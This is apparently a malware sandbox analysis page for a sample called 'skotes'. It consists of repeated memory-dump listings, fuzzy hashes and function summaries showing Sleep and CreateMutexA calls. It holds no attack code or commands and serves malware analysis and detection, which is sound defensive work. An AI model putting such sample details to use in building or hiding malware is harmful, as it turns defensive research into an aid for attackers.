Associated: 00000002.00000002.2183691415.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183704714.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183718528.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183731288.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183743704.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183757632.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183770268.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183791695.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183805801.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183818899.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183833396.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183846914.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183859103.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183873159.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183921886.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183940513.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183959130.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183973738.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183986076.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184002179.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184014073.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184027530.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184061928.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: d922327f0764ea2c9ada40a33fe12bb2b1f4b00aeeaf9308834e2405a480ea46
Instruction ID: d9ece161adfe65b4bb9f8271ae3262b0940c77af34c0c84e1045d21bbd77f5fe
Opcode Fuzzy Hash: d922327f0764ea2c9ada40a33fe12bb2b1f4b00aeeaf9308834e2405a480ea46
Instruction Fuzzy Hash: D3314A317001409BFB08AB78D8DD7ADF7E1EFD6314F20829AE014973D5E7B999808A66

Function 00BDA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00BDA963
CreateMutexA.KERNELBASE(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000002.00000002.2183253576.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000002.00000002.2183241564.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183253576.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183298522.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183323287.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183337101.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183349265.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183362592.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183448160.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183462698.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183480656.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183493828.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183532091.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183543836.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183557679.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183570847.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183588010.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183601098.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183613091.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183637557.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183655100.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183666981.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183679723.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183691415.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183704714.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183718528.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183731288.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183743704.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183757632.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183770268.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183791695.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183805801.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183818899.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183833396.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183846914.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183859103.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183873159.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183921886.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183940513.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183959130.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183973738.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183986076.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184002179.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184014073.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184027530.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184061928.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 94e55281f4ff3d24b2a54bfa67ad8aea0bb56494e969dcb551db511a162c31d9
Instruction ID: bb7ce974f4129ff9dca19b6b76ad485a7f654ea0be9b712f7be9f41f287f071d
Opcode Fuzzy Hash: 94e55281f4ff3d24b2a54bfa67ad8aea0bb56494e969dcb551db511a162c31d9
Instruction Fuzzy Hash: C93128317001408BFB08DF78ECD97ADF7E6EB96314F24829AE414973D1E7B999808766

Function 00BDA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00BDA963
CreateMutexA.KERNELBASE(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000002.00000002.2183253576.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000002.00000002.2183241564.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183253576.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183298522.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183323287.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183337101.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183349265.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183362592.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183448160.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183462698.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183480656.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183493828.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183532091.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183543836.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183557679.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183570847.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183588010.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183601098.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183613091.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183637557.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183655100.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183666981.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183679723.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183691415.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183704714.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183718528.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183731288.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183743704.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183757632.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183770268.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183791695.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183805801.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183818899.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183833396.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183846914.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183859103.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183873159.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183921886.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183940513.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183959130.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183973738.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183986076.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184002179.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184014073.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184027530.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184061928.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 6313ce1fb57cd353c78a164df5aa8fd0d5480a4c90e49b29a077d5305ae02b6f
Instruction ID: e5f5a1ce5234c7bed6ec785ae9b083150d5d58bf860ab6e741ce5942f1dba53b
Opcode Fuzzy Hash: 6313ce1fb57cd353c78a164df5aa8fd0d5480a4c90e49b29a077d5305ae02b6f
Instruction Fuzzy Hash: 83312A317002409BFB08DF78DCD97AEF7E6DB86310F24869AE014973D5E7B999808766

Function 00BD9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00BDA963
CreateMutexA.KERNELBASE(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000002.00000002.2183253576.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000002.00000002.2183241564.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183253576.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183298522.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183323287.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183337101.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183349265.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183362592.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183448160.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183462698.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183480656.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183493828.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183532091.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183543836.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183557679.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183570847.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183588010.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183601098.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183613091.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183637557.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183655100.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183666981.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183679723.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183691415.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183704714.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183718528.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183731288.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183743704.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183757632.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183770268.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183791695.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183805801.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183818899.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183833396.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183846914.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183859103.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183873159.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183921886.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183940513.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183959130.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183973738.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183986076.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184002179.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184014073.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184027530.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184061928.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: ffaaa1cb4e05ca328e2247b1cf349c45209b5f722f7f8cf4aa475238e9a8f255
Instruction ID: 77039b9b444ae5a4d8c7516f638182256832e22b71f1ee0f69fb862a1af3b039
Opcode Fuzzy Hash: ffaaa1cb4e05ca328e2247b1cf349c45209b5f722f7f8cf4aa475238e9a8f255
Instruction Fuzzy Hash: BD2129317142409BFB189F68ECD97ADF7E1EBD2310F20429AF418973D5E7BA99808751

Function 00BDA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00BDA963
CreateMutexA.KERNELBASE(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000002.00000002.2183253576.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000002.00000002.2183241564.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183253576.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183298522.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183323287.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183337101.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183349265.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183362592.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183448160.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183462698.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183480656.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183493828.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183532091.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183543836.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183557679.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183570847.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183588010.0000000000DF4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183601098.0000000000DF5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183613091.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183637557.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183655100.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183666981.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183679723.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183691415.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183704714.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183718528.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183731288.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183743704.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183757632.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183770268.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183791695.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183805801.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183818899.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183833396.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183846914.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183859103.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183873159.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183884988.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183921886.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183940513.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183959130.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183973738.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183986076.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184002179.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184014073.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184027530.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2184061928.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 93ff5e6d736ca1f0ada54f4469da89b07d7f7a4c3b60035bb8fcb7cf8df19105
Instruction ID: 0328d914c3b4cbca972230a16290eaf2a3de37d2549d6fce6e75122960e7a55d
Opcode Fuzzy Hash: 93ff5e6d736ca1f0ada54f4469da89b07d7f7a4c3b60035bb8fcb7cf8df19105
Instruction Fuzzy Hash: 3D2100713552419BFB24576898DA76EF3D2DF81700F2444E7E804963D1FBBB45819193

Function 00BDA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00BDA963
CreateMutexA.KERNELBASE(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000002.00000002.2183253576.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000002.00000002.2183241564.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183253576.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183298522.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183323287.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183337101.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183349265.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183362592.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183448160.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183462698.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183480656.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183493828.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183506287.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183532091.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183543836.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183557679.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2183570847.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
